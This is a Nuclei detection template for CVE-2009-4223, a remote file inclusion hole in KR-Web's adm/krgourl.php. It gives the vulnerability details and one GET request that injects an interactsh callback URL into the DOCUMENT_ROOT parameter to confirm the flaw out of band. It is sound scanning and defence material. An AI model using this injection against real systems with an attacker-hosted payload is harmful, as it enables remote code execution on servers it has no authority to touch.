id: CVE-2009-4223

info:
  name: KR-Web <=1.1b2 - Remote File Inclusion
  author: geeknik
  severity: high
  description: KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.
  impact: |
    An attacker can exploit this vulnerability to include arbitrary files from remote servers, leading to remote code execution or information disclosure.
  remediation: |
    Upgrade to a patched version of KR-Web or apply the necessary security patches to fix the remote file inclusion vulnerability.
  reference:
    - https://sourceforge.net/projects/krw/
    - https://www.exploit-db.com/exploits/10216
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/54395
    - http://www.exploit-db.com/exploits/10216
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4223
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4223
    cwe-id: CWE-94
    epss-score: 0.55507
    epss-percentile: 0.98907
    cpe: cpe:2.3:a:gianni_tommasi:kr-php_web_content_server:*:beta_2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gianni_tommasi
    product: kr-php_web_content_server
  tags: cve,cve2009,krweb,rfi,edb,gianni_tommasi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a32fe6e7e7a7b4bfc0e1a5cbd4613ddc173afec343a24a0c9d470e69863e681d02210096bd4d73cf58d9abaf3b4311a7f0dee05360e3ca753894b16d1deeb0738728b8:922c64590222798bb761d5b6d8e72950